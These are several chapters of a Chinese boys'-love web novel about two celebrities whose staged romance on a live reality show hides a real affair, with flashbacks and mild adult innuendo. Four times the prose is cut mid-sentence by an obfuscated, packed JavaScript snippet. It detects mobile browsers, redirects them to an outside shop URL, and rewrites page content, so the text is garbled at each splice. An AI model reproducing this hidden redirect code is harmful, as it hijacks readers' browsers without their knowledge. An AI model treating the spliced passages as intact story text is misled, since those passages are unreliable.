热油嘶啦一声溅起,陆屿洲揽着季沨的腰挡在身后:“小心点。” 水煮牛肉的精髓就在于最后淋的这一遍热油,薄厚均匀的肉片,用葱姜蒜,花椒、干辣椒等爆炒,里面加豆芽,青笋、豆皮等配菜,再用烧得滚烫的热油一泼,酱料的香,辣椒的辣,还有牛肉的鲜,瞬间被热气激发出来,最后再撒上一把白芝麻作为点缀。 麻辣鲜香,都在这一口里。 “啊啊啊啊这也太香了吧,我光是闻着都要流口水了,前辈你是不是趁我不能吃故意的啊!!” 何皎皎痛哭流涕:“我真的不能偷偷尝一口吗?真的不能吗?” “不舒服还是老实忌口吧。”宋晚敲了一下她的脑袋。 季沨:“娇娇公主?” “我对皎皎的专属爱称。”宋晚说。 谈恋爱当然要起一个对方的专属称呼让人觉得特殊,宋晚顺带提醒季沨:“季哥,你跟陆老师平时怎么称呼啊?” 陆屿洲正把炖好的汤端到桌上,瓷制的炖盅有些烫,他手一放下立刻条件反射性摸了一下耳朵,本来冷酷的脸难道有些可爱。 季沨笑了下:“你们陆老师吗?” “他啊,”季沨朝着陆屿洲走了一步,嗓音带着点磁性,“他一般叫我……哥哥。” 陆屿洲手一松猛地回头,琥珀色的眼睛讶异地放大了。 【哈哈哈哈lyz:瞳孔地震!】 【这震惊不像是演的,是不是季沨自己改台本了啊?】 【肯定是呗,我早说他们俩就是台本而已,现在剧本对不上肯定就露馅了啊。】 【就是,陆屿洲这种上个节目能一句话不说的高冷人怎么可能私下叫哥哥啊,这跟北极熊跑到热带雨林有什么区别!】 陆屿洲眼眸深深,略带警告性地看了季沨一眼。 可季沨这人压根不怕他,反而微一挑眉,调戏道:“要不现在叫一声呢陆老师?” “哥哥给你盛饭吃。” “季……”节目上的配合可不包括这个,指骨摩挲手腕,陆屿洲刚要提醒季沨,一旁的何皎皎就大喊,“水水水!有没有,有没有水啊!” “谁让你偷吃!”宋晚一边骂一边试图去给她找水。 “矿泉水要吗?” 江沼刚好拎着饮料回来,拿了瓶矿泉水递给她,又从袋子里摸出一瓶白桃气泡水抛给季沨:“你之前喜欢的是这家这个口味我没记错吧?找了三家店才找到。” 江沼实在不明白为什么一个大老爷们儿喜欢这种粉粉嫩嫩的饮料,但是吃人嘴短,只是嘴里嘀咕:“娇气。” 他语气抱怨,可却带着显而易见的熟稔,毕竟他出门买饮料的时候,季沨并没有告诉过他自己要喝什么。 气泡水在空中划出弧线,刚到季沨所在的沙发,另一只骨节分明的手却抢先接过了它。 陆屿洲礼貌道:“谢谢。” 季沨偏头看了他一眼,却见到陆屿洲抬手倒了杯青瓜汁,随后将那杯绿油油苦津津的液体推到他的面前:“少吃点辣的,对身体不好。” 他的膝盖碰到季沨的膝盖,脚踝不着痕迹地在季沨小腿上蹭了下:“不然晚上胃疼了怎么办?” 这个动作很明显不像是体贴关心的样子,季沨当然知道他说的不是胃,之所以说让他少吃点辣,恐怕是更担心他们晚上的活动。 但是他什么时候答应过陆屿洲了? 连句好听话都不讲,还想着晚上。 季沨在心里笑了一声,手肘不着痕迹将陆屿洲递过来的青瓜汁一挡:“江沼,给我……” 话还没说完,桌上 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13223182|139401||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的小腿就被人别了一下——力道倒不大,但是由于对方腿太长,存在感倒是不容忽视。 季沨一哂,并没有理会,抬眸望向江沼:“江沼,给我再拿一瓶。” 陆屿洲微微抿了下唇。 他终于意识到,季沨其实并不会时时回应他,那些镜头前的暧昧不过是因为综艺,而之前季沨在意的强迫症和洁癖,配合他戴上腰链,跟他所有完美的契合……也不过是因为,他对床伴的宽容。 陆屿洲自己将那瓶白桃气泡水拧开喝了一口。 桃子的气味很淡,反倒是气泡在舌尖上炸开的触感令人觉得压根发酸。 “没有了,”江沼说,“除了你还有谁喝那破玩意儿。” “知道我喜欢喝你还不多买一瓶。”季沨回怼,“一点也不尊敬前辈。” “比我出道早三天也叫前辈?!” 他们的对话带着别人插不进去的熟稔,陆屿洲握紧了手中的瓶子,瓶身发出咔吱的声音,他才意识到自己已经将这瓶甜腻的气泡水给喝完了。 可他平时分明从来不会选择这种含糖量过高的饮料。 “看来大家已经吃得差不多了!” 饭吃到一半,潘叙终于拿着卡片走过来:“下面我就来公布今天表演任务啦,每对情侣需要从我手中的卡片抽取一张作为今天的测试表演。” “我们今天的主题是——” “争吵。” 为了活跃气氛,潘叙先开了个话题:“来采访一下几位情侣们,大家平时会吵架吗?” “当然会啊,”商序最先开口,“日子过久了当然会有摩擦,我睡了不少客房呢。” 叶辞归看他一眼,淡淡道:“你好像很有意见。” “那当然,”商序立刻改口,语气自然而又熟稔,“是我惹小辞生气,所以我是甘之如饴的。” 他们这一对表演最像是相处自然的老夫老妻,指导老师评价也很高,潘叙又换了另一对黑马来咨询:“那季老师呢,平时会吵架吗?” “我们……”季沨想了想,他跟陆屿洲在床上一向是很契合的,用什么道具采用什么姿势基本是全票通过,“没有吵过架啊。” “真的吗?”潘叙显然不太相信,“在一起那么久从来没有吵过架?” 不止他不信,直播的观众显然也不信—— 【别搞笑了,谁谈恋爱会不吵架啊?】 【对啊,像商序那样的才是正常吧,有时候越完美才越假好不好?】 【可他们本来不就是假的吗,你会在偶像剧里面找真实吗,当个高颜值剧看看就得了,难得季沨演技不错,不要破坏自己的心情啦!】 “不只是说摔东西什么的才叫吵架,”潘叙试图挖掘他们编故事的能力,提示道,“比如冷战啊,说要分手啊这种也算的。” 谁知他话音刚落,一旁坐着没吭声的陆屿洲突然像是被踩了尾巴的狗一样,砰得一声,将手中空了的饮料瓶扔进了垃圾桶。 用力过大,导致整个桶身都跟着颤了一下。 他眉头拧紧,冷冷道:“我们没有分手过。” 15.第十五章 旁边的季沨偏头望了他一眼。 陆屿洲的样子像是炸毛了一样,让他觉得有些好笑,不过……倒是比他平时冷着一张脸的样子要生动许多。 于是主动顺毛道:“当然没有,陆老师平时都很包容我的,我说什么都会答应。” 季沨唇角噙着淡淡的笑:“有一次我生病,他连已经定好的秀场都不去了,非要在家里照顾我。” 【?????季沨编故事也编点实际的好不好!谁不知道陆屿洲是业内第一守时狂魔,定好行程从来不会爽约!】 【就是,来看看行程表!我们陆哥这一年基本是满的,而且从来没有过延期!】 【不对啊,半年前这不是取消过一次,MQ的国风盛典?】 【禁止造谣!禁止污蔑!那是我们陆哥刚回国不熟悉业务!而且不是立刻换成明日场了吗!】 【笑死,本来不就是假的,人家也没说是真的啊,你们在破什么防啊?】 【纯吃瓜,但是宇宙粉应激的样子好像唯粉遇到了真嫂子啊哈哈哈。】 季沨说得当然是真的。 那时候他跟陆屿洲还在摸索期,对彼此的身体和强度还不是那么的熟悉,某天早上起来,季沨突然发烧了。 虽然季沨一再跟他表明这是因为自己昨天在零下的温度里穿着短袖拍了MV,陆屿洲却一直坚信是他昨天晚上不小心把东西留在他体内的问题,当着他的面推了行程,愧疚地表示会负责他到痊愈。 诚心可嘉,但是……陆屿洲有没有想过,也许季沨那天也是需要工作的。 陆屿洲都已经这么说,季沨只好半躺着在床上看着陆屿洲将吹凉了的粥一勺一勺地喂给自己,一只手摸出手机跟郁容请假。 他往常并没有这么娇气的时候,男团的活动不会因为你一个人的身体状况取消,只要是死不了都要跟着去,久而久之也就习惯了。 季沨含下最后一口粥,脸上是发烧带来的潮红,他闲不住,玩着手机,被窝里却伸出一只脚掌,脚背很白,微弯的时候青筋迭起,弓起的指骨沿着陆屿洲的西装裤缝寸寸下滑,声线蛊惑:“陆老师……” “我听说,发烧了那里的温度会不一样,你要不要试试?” 陆屿洲喉结一滚,呼吸果然变得粗重,他深深地望了季沨一眼,目光中带着本能的欲望,指骨握上他的脚踝,手指扣紧。 却最终也只是连着小腿一起给他塞了回去,又伸手拉了拉被子:“别着凉。” 发烧让季沨的声音发软,连那双眸子也是雾水朦胧,好像是志怪小说里勾人的妖精,往他的西装裤上轻轻一扫:“真的不用我帮你?” 任何一个人看到季沨这张脸露出这样的神情都不会无动于衷,更何况他们昨天刚刚呼吸交缠,食髓知味。 陆屿洲琥珀色的眼睛逐渐浓重,突然扯着季沨的后颈将他拉向自己,额头抵上他的额头,就在季沨以为他是要往下亲的时候,陆屿洲却只是微微叹了口气:“我留下来又不是为了做那种事的。” 他说:“好像退了一点,” 陆屿洲用额头感知着季沨的温度,语气像是融化的春水,“睡一会儿吧。” 季沨贴着他,恍惚间觉得自己的心脏好似被一起丢进了那汪春水里。 “睡不着啊,”但越是这种时候,季沨就越是喜欢轻佻,手指勾了勾陆屿洲的下巴,“你上次不是说要去一个读诗节目吗,先读点给我听听?” “好。” 陆屿洲答应得很快,这个人是很重诺的,说负责就负责到底,拿出他给节目组的诗单:“你想听哪个?” 季沨一目十行扫下去,最后挑了一首:“《Love at First Sight》” 陆屿洲的视线在名字上停留了一瞬:“行。” 季沨于是乖乖地躺下去,听到陆屿洲用他那带着微微沙哑的,纯正的英伦腔读道:“Love at First Sight” 一见钟情。 “They''re both convinced that a sudden passion joined them.” 他们彼此深信, 是瞬间迸发的热情让他们相遇。 陆屿洲突然停顿了一下,垂眸去望季沨的眼睛。 他们在彼此的眼眸里看到一种柔软的,温和的光,陆屿洲并不知道季沨在想什么。 但是那一刻,他想起了在衣香鬓影的晚会里,第一次见到季沨的画面。 他从前并不是一个重欲的人,却在当晚跟一个只见了一面的人在同一床上抵死缠绵。 “Such certainty is beautiful, but uncertainty is more beautiful still.” 是如此确凿的美丽, 可变幻却更令人着迷。 …… 陆屿洲读到一半,季沨已经睡着了。 长长的睫毛覆盖着眼睛,一半的脸颊埋在柔软的枕头里。 陆屿洲抬手关上窗帘,房间里只留了一盏夜灯。 那一小片光晕洒在季沨身上,像在白日里被月光笼罩。 * “我当时睡不着,”季沨迎着众人的目光道,“他还给我读诗来着。” “所以……陆老师这么温柔体贴的人,我怎么会跟他吵架呢?” 他的语气让对面的江沼一阵恶寒,偏偏旁边的陆屿洲看起来还非常受用的样子,不知是想起了什么,居然还轻轻地笑了一下。 此人刚刚还冷着的一张要杀人的脸被轻而易举地哄好了,偏头问季沨:“这就算温柔体贴了? ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13233885|139401||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” 季沨微一挑眉:“不算吗?” 这怎么能算? 本来就是他的原因,照顾季沨是应该的,读个诗又不是什么很难的事情,难道随便一个人这么对他季沨都会觉得温柔体贴吗?陆屿洲语重心长地提醒:“要求太低了啊季老师,当心被骗。” “哦,好,”季沨点头,“那下次我过分一点。” “起码也得是唱歌跳舞什么的吧,”他含笑望着陆屿洲,“说起来,去了这么多次晚会……陆老师是不是还没在台上表演过节目呢?” “不然你来一个?” 他一个模特为什么要载歌载舞,在秀场上给自己配背景音乐吗?陆屿洲刚要开口:“我不……” 话还没说完,便看到季沨没再试图跟江沼要饮料,而是端起旁边的青瓜汁喝了一口。 陆屿洲神思一恍,那个不字就跟着一起吞进了喉咙里。 卧槽!注视到这一幕的江沼简直瞳孔地震! 季沨不是最讨厌喝这些味道奇怪的蔬菜汁的吗?之前有个节目组惩罚项目是喝这个,季沨直接拼命到肌肉拉伤三天下不来床。 现在居然能一口闷了?! 演技真好啊这对死基佬! 察觉到江沼望向这里的视线,陆屿洲脸色微沉,身体朝着季沨靠了靠,不着痕迹地挡住他的视线,同时将手臂往季沨身后的椅背上一搭,一个强势的,占有和保护的姿势。 “人家恩爱着呢,”宋晚说,“快别八卦了吧潘导,任务到底是什么啊,赶紧说我们也好早点准备啊。” “行,既然你们这么急着吵架的话——” 潘叙停止盘问,晃了晃手中的卡片:“那就每对情侣派一个代表来我手中抽取任务卡牌。” “卡牌上面就是你们今天的表演任务啦。” 陆屿洲对着季沨点点头:“你去吧。” 季沨倒也没客气,起身去抽了一张。 镜头立刻推进,信纸在季沨手中缓缓展开,写着—— 你背着另一半去见了家里安排的相亲对象,相谈甚欢时,伴侣却朝着自己走来…… 你打算如何化解这样的局面呢? PS:不同的答案需要不同的表演方式,可以从在场的人里随意挑选除了搭档外的一个,当作自己的约会对象。 任务是一式两份的,除了季沨的,陆屿洲那里打开的是另外一个,黑色字体充满挑衅—— 【任务】: 你跟朋友一起出门,却正好看到另一半在跟别的人约会,举止十分暧昧。 你会做出什么样的反应呢? PS:请根据各自在节目上表现出的人设进行,强行模仿其他影视剧桥段的会按不及格处理。 “哇!陆老师,”潘叙凑过来,语气里带着几分幸灾乐祸,“你刚刚可是说过从来不吵架啊。” 16.第十六章 陆屿洲的脸色陡然冷了下来。 可他身边的季沨却丝毫看不出任何生气的样子,反而饶有兴致地看了一圈,挑选着自己的约会对象—— 何皎皎宋晚这两个女生显然是不太合适的。 而且他一早出了柜,也不太现实。 商序跟叶辞归……演技太好以至于季沨觉得他俩有可能真的隐婚了。 也有可能是要捆绑炒CP,所以这种最好还是别碰。 江沼……找他还不如找条狗。 季沨看了初禾一眼,笑道:“小禾,可以帮个忙吗?” 小禾? 陆屿洲唰地抬起了头,指骨深深地按进手腕,眼睁睁看着季沨满面笑容地带着初禾出门。 下午三四点正是热的时候,季沨抽了顶帽子递给初禾。 “谢谢季老师,”季沨对人的关心和体贴总体现在这些细节里,谁要是跟他谈恋爱一定得幸福死吧,初禾目光憧憬,“什么事啊?” 季沨先换好鞋,余光在沙发上那浑身快要结冰的人身上一落,很快收了回来,一只手插进口袋,懒洋洋道:“跟我约会,去不去?” 去去去! 跟季沨约会?! 初禾不敢想象自己会有多快乐,对着这个漂亮撩人的脸蛋哪怕让他去游乐场坐旋转木马他都认了,更何况还不用跟那个死直男虚与委蛇。 “放心,”出了门,季沨将刚刚的信纸递给他,“节目组给的任务,所以麻烦你帮忙配合一下了。” “不麻烦不麻烦,”初禾将帽子戴正,跟着季沨脚步,“季老师,咱们去哪啊?” 季沨一只手绅士地替他打开车门:“你有想去的地方吗?” 酒吧迪厅赛车场,但是这些怎么能在镜头前说,他们团乌泱泱的十八个人,要是不按公司的要求凹一凹人设,他可能连张脸都露不出来。 “我都可以的季老师,”初禾笑得有些不好意思,“你来决定就好啦。” “嗯。” 季沨一只手系上安全带,问他:“想不想听歌?” “听歌?” “对,”季沨说,“有个Live今天有演出,带你去看看?” “太好了!” Livehouse简直是酒吧和K厅结合的maxplus版,初禾语气兴奋,说完才意识到自己的人设,“那个……我是说,我很喜欢季老师的安排……” 季沨低笑了一声,大概是觉得初禾这种费力掩饰的样子很可爱。 让他想起某个人小时候。 “没关系,”季沨下巴一抬示意前面灭着灯的车载摄像,“我没开。” “呼~” 初禾一屁股往后一靠,长长地舒了一口气。 结果车子开始启动季沨还是没有要把摄像打开的意思,初禾以为他忘了:“摄像不开吗?” 季沨笑了声:“开了你等会儿又坐得跟军训一样吗?” “不用,放着吧,这样聊天自在点。” 初禾心脏微暖:“可是……” “我一个四肢不勤的大明星,不会开这个不是很正常吗?至于你,生性腼腆,碍于我的淫威不敢说话,”这当然是给节目组的说法,季沨看了眼初禾的脸色,“当然,主要原因是,你说话太夹了,我受不了。” 初禾还没涌上的暖意梗在心头:“你以为我想,我们成团之前专程练了三个月怎么夹着嗓子说话,气得我都能边夹边国粹了。” “不过还是谢谢你,”初禾道,“现在自在多了。” 季沨:“你们的项目还挺丰富的,我们那时候,出道前两天还在练舞室里通宵。” 初禾看他一眼:“难道你就不需要凹人设吗?” “没试过,可能也不太在意吧。”季沨笑道,“说出来你可能不信,我出道的时候压根没想过要红。” 作为红透半边天的顶流,季沨说这话很有凡尔赛的嫌疑,但细想来,他的成名之路一直都充满着运气的成分。 刚出道就签了数一数二的娱乐公司华图,刚单飞就遇到了当时的王牌经纪人郁容,机场出柜都能涨粉,出演的第一部电视剧就上了星。 当然,还有他这张不管什么时候看到能说一句女娲毕业作的脸。 “不为红?”初禾狐疑,“那你为了什么?” “为了签约费啊,”季沨说,“当时我妈住院了。” “那你妈妈现在……” “已经去世了。” 季沨说这话的时候轻描淡写,初禾却忍不住心中一惊:“对不起,我……” “没事儿,”季沨语气平淡温柔,更像是在安慰初禾,“我的签约费帮她付清了手术费,多了三年的日子,已经足够幸运了。” 前面红灯,季沨一只手搭在方向盘上,阳光洒在他的身上,那张完美的侧脸在光里闪闪发亮,初禾望着他,觉得心中悸动:“不是这样的。” “不是这样的,前辈。” 他要么在装要么在演,少有这么认真严肃的时候,以至于说出的话都格外具有可信度一样:“我出道的时候看过你的演出视频,你很厉害,虽然你的脸让他们叫你门面,但其实你的舞蹈和vocal都很厉害。” “你勤奋、努力,有天赋,待人温柔体贴,而且长得这么好看,”初禾认真道,“我不并不觉得 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“是,我不是要跟你谈心。”初禾彻底破防,定定地注视着他,直接破罐子破摔地交了底牌,“我只是想问问你……” “前辈,你有没有要谈恋爱的想法?” 季沨轻轻笑了下,长发被透进来的一点风吹动:“有啊。” 初禾心头一跳,便见到他微微偏头,接着道:“但不是跟你。” “别往我身上费心思了小朋友。” “作为前辈,提醒你一句,”季沨的语气更像过来人传授经验,“还是多把心思放在业务能力上。” “我们这个圈子,只有有钱的和有实力的才能肆无忌惮地谈恋爱。” “可咱们哪个都不是,”察觉到初禾情绪低落,季沨偏头看了他一眼,挑起话题,“知道我为什么对你这么好吗?” 初禾果然被转移注意力,瞪大眼睛:“为什么?” “你当时在酒吧里对我的称呼,让我想起一个人。” 称呼? 什么称呼? 季沨单手打了把方向盘,一脚油门,车子从“陌路”Club的门前一闪而过,初禾终于想起来,那是他端着酒杯假扮高中生,叫了季沨一句—— “哥哥。” 哥哥? 车子一个漂移,在店门口稳稳停下,初禾这才发现,在“陌路”Club的对面,居然有一家Livehouse,名叫—— “相逢”。 “走吧,”季沨拉开车门松松衣领,望着招牌的眼眸光芒闪动,淡笑道,“舞台铺好,我们的观众也快到了。” 17.第十七章 “卧槽!季沨故意的吧!”江沼坐在车上,狠狠抱怨,“干什么非要选初禾,导致我也要跟着来扮演你“气氛组的好朋友”,我怀疑他就是故意报复我!” 陆屿洲一只手搭在方向盘上,闻言偏头看了他一眼。 他们同样没开镜头,和季沨那种“故意忘记”不同,陆屿洲是自己不让装摄像的。 因为陆大超模觉得车是属于自己的私密空间,而且他有洁癖。 能让江沼搭个顺风车已经是极限,还是在他结束之后就要送去洗车的情况下。 不过相对而言,陆屿洲的车里也比季沨多了许多生活气息——蒂普提克的车载香薰,弥漫的琥珀木和黑醋栗味道,CD机里的巴洛克风格古典乐,还有两个复古金属摆件。 江沼他们为了防止私生跟车,从来不会固定开一辆,也没见过哪个同行对自己临时代步工具这么上心的,本来要砸车座泄愤的手愣是被这个架势给吓了回来,只愤愤咬了下牙。 陆屿洲垂眸看了眼旁边的香薰,来节目之前,他本来以为坐在自己副驾上的会是季沨,现在变成了江沼……陆屿洲抬手将那块香薰给扔进了储物格里。 语气淡淡:“你跟季沨很熟吗?” “当然不!”江沼条件反射性地出口。 “嗯。”陆屿洲点头,一只手转动钥匙,平静道,“那他应该不会故意报复你。” 是错觉吗? 江沼总觉得这两句话翻译过来应该是——别自作多情了。 错觉吧错觉吧,不是说陆屿洲跟季沨关系不好吗? 古典乐让江沼听得犯困,于是他从旁边拿起节目组给陆屿洲的任务纸,试图找点话题:“你这个好像不太容易,这种捉奸在床的剧情,情绪总是比较激烈的,你又把什么不吵架的大话放出去,等会儿要怎么演啊?” “为什么一定要吵架?” 江沼眉头一皱,他本来以为陆屿洲说不吵架只是个发糖的说辞,现下是真的讶异地看他一眼:“你对象去相亲还举止亲密了你都不生气?” “为什么要冲他生气,”陆屿洲一边看着后视镜超车,淡淡道:“如果自己足够有魅力足够合适,对方怎么会看得上别人呢?” 这是当年陆程易跟莫妮卡离婚的时候,原封不动说给陆屿洲的话。 陆程易也的确没有生气,两个人可以说是和平分手,此后意见一致地划分了陆屿洲的抚养权——将他交给双方家长和保姆,一个开始满世界地拯救濒危植物,另外一个开始满世界地寻找迟来的爱情。 婚姻是多余的责任和束缚,恋爱对双方私有生活的侵占。 这是陆屿洲从小受到的教育。 “你……你这,”江沼深吸口气,“你这马上都可以进男德训练营了。” “不过不管你是不是真的这么想,等会儿在镜头前可千万别这么说,”江沼提醒道,“不然小心被男粉喷死。” 陆屿洲一只手转动方向盘:“可如果我本来就是这么想的,却说了别的话,那岂不是更是欺骗他们?” “那又怎么样,我们这行谁不会说几句漂亮的假话,我现在还跟粉丝说我是狂吃不胖呢,但其实我可乐都只敢喝无糖,”江沼道,“哪个明星不立人设?” “都这样吗?” “那当……”江沼话一顿,“倒也不是。” 前面红灯,陆屿洲停下车,疑惑地看了他一眼。 “季沨啊,这家伙向来什么都敢干的。” “就比如这次恋综吧,大家炒个CP炒个热度都是点到而止,他整个人恨不得黏在你身上了,还有那个青瓜汁,”江沼现在想起来都心有余悸,“我以前从来没见过他喝这玩意儿,真是的,不怕你俩CP到时候拆不开啊!” 陆屿洲没想到他跟季沨的互动在江沼看来是这样的,唇角微微一勾,突然又将储物格给打开了:“你喜欢什么味道的香薰?” 江沼:? “没什么,”指示灯变绿,陆屿洲一只手发动车子,“跟你聊天很开心。” 真的不是错觉吗? 江沼总觉得这两句的翻译过来很像是——会说你就多说点。 于是他还真就从善如流地接着说了:“不过你也不用太过顾虑,季沨这人对谁都这样的,半个娱乐圈的人都被他撩过,而且他从来不跟人炒CP,谁要是舞到他跟前,他能直接大号转发下场拆。” 江沼抱着同理心安慰陆屿洲:“我看他对你也就那样吧,没有很特别,你别担心,他应该没有看上你。” 话音刚落,储物格被陆屿洲砰的一声关上了。 他一脚油门,迈凯伦嗡的一声从前面超了过去,江沼被这突然的提速搞得一个前倾,差点没有直接砸到车窗上。 “我突然想到,出风口放香薰好像 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13268584|139401||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不太好。” 陆屿洲说着,猛地打了把方向,车子如同冷飕飕的利箭冲上高架。 从未体验过飙车的江沼胆战心惊,直到终点,旁边的陆屿洲没再主动跟他说过一句话。 迈凯伦在Live门口稳稳停下,陆屿洲打开车门下了车,目光在闪烁着的招牌上一顿—— “相逢” * “二位您好,欢迎光临‘相逢’Live,晚上空山乐队的演出票是需要提前购置的,请问您是否有……” 侍应生的话在看清来人时戛然而止:“老……” 季沨小幅度地冲他摇了摇头,示意后面的摄像,随后眉眼一弯:“我们在录综艺,想要借店里拍一段,还有座位吗?不打扰吧?” “没事儿没事儿,本来之前预留的赠票位置就还空着。”经理立刻闻讯赶来,这种节目宣传的活动当然是求之不得,立刻引着季沨和初禾往里进。 “相逢”Live是个开放式酒吧型Live,面积很大,装修也蛮漂亮,除了中央的一大块舞池,旁边还有调酒的吧台和散座,季沨轻车熟路地往吧台一靠:“来杯曼哈顿。” “小朋友就不要高度的了,”没等初禾自己开口,季沨就帮他选好了人设,“来杯亚历山大吧。” 亚历山大是由白兰地、可可利口酒加入淡奶油和豆蔻粉,颜值漂亮入口甜腻,非常适合新手。 不过今天来看乐队演出的人有点多,调酒师看了眼单子:“可能需要稍等一会儿。” “还有多余的工具吗?”季沨说,“不然我自己来?” 初禾讶异地睁大眼睛:“你还会调酒?” “之前在酒吧兼职过。” 调酒师一点头,季沨便接过酒具,望了眼门口的方向,随后,熟练地从酒架上拿出一瓶酒来,细长的吧勺在手中挽了个花。 他好像天生适合这种场合,红□□带映在漂亮的眉眼里,唇角微弯,不用费力就能吸引所有人的目光。 陆屿洲进门的时候,看到的正是这样的场景—— 季沨单手晃着摇壶,偏长的头发扎在脑后,牛仔外套被他懒散地披在肩上,眼角含着笑,反手将壶中的酒液往下一倒,又扔了两块冰进去,往初禾面前一推,声音和笑容都是要命的勾人:“欢迎享用。” 这画面实在太过熟悉,陆屿洲不由得捏紧指骨,心神一荡。 18.第十八章 半年前,雅盛山庄。 那时候陆屿洲刚从国外回来,被郝景拽着去一个度假山庄玩,说是全是圈里的明星,让他去认认人。 陆屿洲对应酬没什么兴趣,虽然各路媒体对他回国的原因众说纷纭,可只有陆屿洲自己心里清楚,他不是因为跟设计师闹掰也不是因为出场费没谈拢。 家里的稿纸堆了一地,全是他还未成型的品牌。 他本来以为能够在这种场合得到一点相关的灵感,结果到了才发现,大多都是蛋白粉和病态减肥下的畸形身材,裹着已经过时且并不合身的高定,笑容虚假地推杯换盏。 陆屿洲揉了揉眉心,打算找个角落等着郝景一起回去,结果踏进酒水区,便听到一阵喧哗声—— “哇!!好厉害!!!!” “居然真的能烧起来!!!” “这个好漂亮 !我也想要我也想要!” 陆屿洲闻声望去。 那是他第一次见到季沨。 开放式吧台上围了一圈衣香鬓影的女星,语气兴奋又痴迷,季沨被众人簇拥在中央,简单的衬衫长裤更衬得他有种出水芙蓉的美,修长的脖颈戴着一条蛇骨链,他那时候的头发还没有现在这么长,手中的吧勺一转,右耳的蓝宝石跟着微微晃荡。 陆屿洲不由自主地停下了脚步。 很难有人不为这样的季沨停下脚步。 他的漂亮像是酒液一样充满了辛辣的张扬和冲击力,以至于连周围的莺莺燕燕都好像失了颜色。季沨坐在高脚凳上,将一杯调好的酒放在吧台上,酒杯的侧面放了一只漆黑的蝴蝶,他抬手一抹,鸡尾酒猛地升起湛蓝色的火,连带着蝴蝶一起融化,周围一阵惊呼喧嚣,季沨抬手将落了灰烬的酒一推,笑容映在火光里:“火焰蝴蝶。” 指甲掐进手心,那一瞬间,陆屿洲猛然生出想为他作画的冲动。 苦苦要寻找的灵感突然变得具象,陆屿洲仿佛能感受到自己热烈跳动着的胸腔,只可惜那身过分简单的装束,跟大厅里恨不得把所有珠宝都挂在自己身上的明星实在不太像。 以至于……陆屿洲以为他是庄园聘请的调酒师。 他一开始奔着挖墙脚的心思去的,想要季沨做自己的模特。 于是一直等到季沨旁边的人散得差不多了才过去,直截了当地讲出了自己的需求,并自以为开出了一个即便是在模特行业也令人眼红的薪资待遇。 岂料季沨压根没有因为那个数字有任何表情波动,反而单手撑着下巴,饶有兴致地转了下酒杯:“你要买我?” 陆屿洲常年在国外,并没有扣中文字眼的习惯,简单地对换了一下概念:“嗯。” 季沨突然弯起眼睛笑了起来。 陆屿洲从来没见过一个男生能笑得如此勾人,好像漫天的星光都披在了他的身上。季沨单手从酒架里拎出两瓶酒,金酒白兰地加入柠檬汁和红石榴糖浆,吧勺夹在修长的指节里,像是一支暧昧的香烟,手腕一动,冰块从粉色的酒液中浮出,季沨将调好的酒推给他,眼底带着细碎的浮光:“行啊,一杯酒一次。” 陆屿洲当时还是个没开过荤的崽子,听不懂他话里的意思,以为这是他们这一行的黑话,颇为认真地点点头:“好,那我要五杯。” 季沨微一挑眉,真的调了五杯给他,粉红的酒液在香槟杯呈现出漂亮的质地,季沨撑着下巴微微俯身,陆屿洲能看到他锁骨的银链和一点在鼻尖萦绕的,浸透在酒液的冷香。 喉结微微一滚,陆屿洲仰头喝了一杯。 但是他显然不知道酒吧里确实色彩漂亮的酒就越有可能“失身”,酒杯空到第三个,陆屿洲的脸颊已经开始微微发红,刚端起第四杯,季沨突然大笑了起来。 他笑时眼角眉梢都好像染上了光,最后的一杯酒被端起来,季沨拿在手里晃了晃:“你知道这酒叫什么名字吗?” 陆屿洲摇了摇头。 “冰、山、美、人——” 季沨语调缓慢,尾音上扬,望着他的样子像是在调情: ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13281909|139401||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “宝贝儿,你的眼睛很漂亮。” “可惜我不是模特,也不是调酒师。” “我现在身价很高的,你买不起。”季沨端着那杯“冰山美人”,与陆屿洲手中的第四杯轻轻一碰,漂亮的桃花眼眨了眨,“欢迎享用。” 他说完,将最后一杯酒一饮而尽转身离去。 